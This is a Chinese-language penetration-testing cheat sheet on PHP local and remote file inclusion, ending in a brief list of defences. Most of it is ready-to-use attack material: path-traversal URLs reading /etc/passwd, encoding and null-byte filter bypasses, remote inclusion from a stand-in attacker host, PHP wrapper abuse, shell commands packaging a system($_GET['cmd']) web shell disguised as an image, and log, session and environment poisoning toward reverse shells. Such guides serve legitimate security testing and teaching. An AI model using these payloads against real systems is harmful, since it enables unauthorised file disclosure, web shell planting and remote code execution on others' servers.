文件包含
- 文件包含漏洞包括:本地文件包含、远程文件包含
- 产生的原因: 后端代码对服务器接受的请求没有经过严格的清理或验证,当用户输入可以逃过后端验证的请求时,该请求被相关的函数所处理,从而导致漏洞发生
- 代码中易受攻击的函数:
- PHP: require、require_once、include、include_once
目标
- 如果是本地文件包含,用户很有可能会去读取敏感数据,或者利用某种方式去获取 SHELL
- 如果是远程文件包含,用户可能会选择获取 SHELL、XSS、DDOS、获取敏感数据
攻击
我们常见到的包含漏洞格式为:
http://10.10.10.10/nav.php?page=../../../../../../../etc/passwd
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
特殊文件
在我们的测试中我们可能会经常面临去查看一些特殊的文件,以下是两个字典以用于进行读取
- Auto_Wordlists/file_inclusion_linux.txt at main · carlospolop/Auto_Wordlists : 一个 Linux 测试字典
- Auto_Wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists : 一个 Windows 测试字典
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
基本利用
在测试中我们会面临很多不同的测试以及绕过,我们需要了解一些基本的利用手段
代码中使用了一些简单的过滤手段
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
# URL 编码
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# 空字节技术
http://example.com/index.php?page=../../../etc/passwd%00
# 代码检测文件夹
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
# 绝对路径
http://example.com/index.php?page=/etc/passwd
Python Root element
如果在 Python 中出现这样的代码:
# file_name 是用户传参
os.path.join(os.getcwd(), "public", file_name)
如果用户将绝对路径传递给,则先前的路径将被删除:file_name
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
PHP 伪协议
PHP 有很多包装器,经常被滥用来绕过各种过滤器
我们可以在这里查看 PHP 伪协议 浅谈PHP-伪协议
PHP expect://
PHP expect:// 允许执行系统命令,不幸的是默认情况下没有启用 expect PHP 模块
php?page=expect://ls
PHP://input
有效负载利用 POST 请求发送到服务器
/fi/?page=php://input&cmd=ls
php://filter
php://filter 允许渗透测试人员包含本地文件并对输出进行 base64 编码。因此,任何 base64 输出都需要解码才能显示内容
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
vuln.php?page=php://filter/resource=/etc/passwd
zip:// & rar://
zip 包装器处理服务器端上传的 .zip 文件,允许渗透测试人员使用易受攻击的文件上传功能上传 zip 文件,并通过 LFI 利用 zip 过滤器来执行。
典型的攻击示例如下所示:
- 创建一个PHP反向shell
- 压缩成.zip文件
- 将压缩的shell payload上传到服务器
- 使用 zip 包装器提取有效载荷:php?page=zip://path/to/file.zip%23shell
- 以上将把zip文件解压到shell,如果服务器没有附加.php,则将其重命名为shell.php
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
phar://
如果网络使用一些类似 include
的函数来加载文件,那么.phar文件也可以用来执行PHP代码。
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
然后你可以编译phar,执行以下一行
$ php --define phar.readonly=0 create_path.php
一个名为test.phar的文件将被生成,你可以用它来滥用LFI。
如果LFI只是读取文件而不执行里面的php代码,例如使用file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize()等函数。你可以尝试在使用phar协议读取文件时滥用发生的反序列化。
日志文件污染
日志文件污染是将源代码注入目标系统日志文件
的过程。这是通过通过目标系统上的其他公开服务引入源代码来实现的,目标操作系统/服务将存储在日志文件中。例如,将 PHP 反向 shell 代码注入 URL,导致 syslog 在 apache 访问日志中为 404 页面未找到条目创建条目。然后使用先前发现的文件包含漏洞解析 apache 日志文件,执行注入的 PHP 反向 shell。
将源代码引入目标系统日志文件后,下一步是确定日志文件的位置。在渗透测试 Web 服务器的侦察和发现阶段,目标操作系统可能已经被识别,一个好的起点是查找已识别的操作系统和 Web 服务器的默认日志路径(如果它们尚不清楚由顾问)。
一些常见的思路:
Apache/Nginx
如果Apache或Nginx服务器在include函数中存在LFI漏洞,你可以尝试访问 /var/log/apache2/access.log
或 /var/log/nginx/access.log
,在用户代理中设置,或在php shell的GET参数中设置,如 <?php system($_GET['c']); ?>
并包含该文件。
注意,如果在 shell 中使用双引号而不是简单的引号,双引号将被修改为字符串 “quote;”,PHP 将在这里抛出一个错误,其他的都不会被执行。
另外,要确保正确地写出有效载荷,否则PHP每次试图加载日志文件时都会出错,你不会有第二次机会。
这也可以在其他日志中进行,但要小心,日志里面的代码可能是URL编码的,这可能会破坏Shell。授权头 “basic “包含Base64中的 “user:password”,它在日志中被解码了。PHPShell可能被插入到这个标头里面。
其他可能的日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
测试词表: SecLists/Fuzzing/LFI at master · danielmiessler/SecLists
FTP log
这个 FTP 服务器的日志被保存在 /var/log/vsftpd.log
中。如果你有一个 LFI 并能访问一个暴露的 vsftpd 服务器,你可以尝试在用户名中设置 PHP 有效载荷登录,然后用 LFI 访问日志。
利用电子邮件发送反向 SHELL
如果目标机器直接或通过网络上的另一台机器中继邮件,并在系统上为用户 www-data(或 apache 用户)存储邮件,则可以通过电子邮件向目标发送反向 shell。如果该域不存在 MX 记录但公开了 SMTP,则可以连接到目标邮件服务器并将邮件发送到 www-data / apache 用户。邮件被发送到运行 apache 的用户,例如 www-data 以确保文件系统权限将允许读取访问包含注入的 PHP 反向 shell 代码的文件 /var/spool/mail/www-data。
攻击思路:
- 使用已知 UNIX/Linux 帐户名列表枚举目标系统:
- 向 www-data 用户发送电子邮件
- 使用 LFI 漏洞执行 SHELL
- 获取到 SHELL
利用 /proc//fd/
- 上传大量的 SHELL
- 使用 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中$PID = 进程的PID(可以用蛮力强迫),$FD是文件描述符(也可以用蛮力强迫)。
通过 /proc/self/environ 的 LFI
如果可以通过本地文件包含漏洞包含 /proc/self/environ,那么通过 user-agent 引入源代码是一个可能的途径。一旦代码被注入到 user-agent 中,就可以利用本地文件包含漏洞来执行 /proc/self/environ 并重新加载环境变量,从而执行您的反向 shell。
利用上传
如果你能上传一个文件,只要在其中注入shell有效载荷(例如:<?php system($_GET['c']); ?>
)
http://example.com/index.php?page=path/to/uploaded/file.png
利用 PHP Sessions
检查网站是否使用PHP Session(PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在PHP中,这些会话被存储在 /var/lib/php5/sess/[PHPSESSID]_
文件中。
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
将cookie设置为 <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
使用LFI来包含PHP会话文件
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
防御
- 将系统服务更新为最新版本
- 关闭一些配置如 PHP 的
allow_url_fopen
- 设置 WAF
- 必要情况下对用户的所有输入都要经过验证
- 对文件名和位置设置白名单和黑名单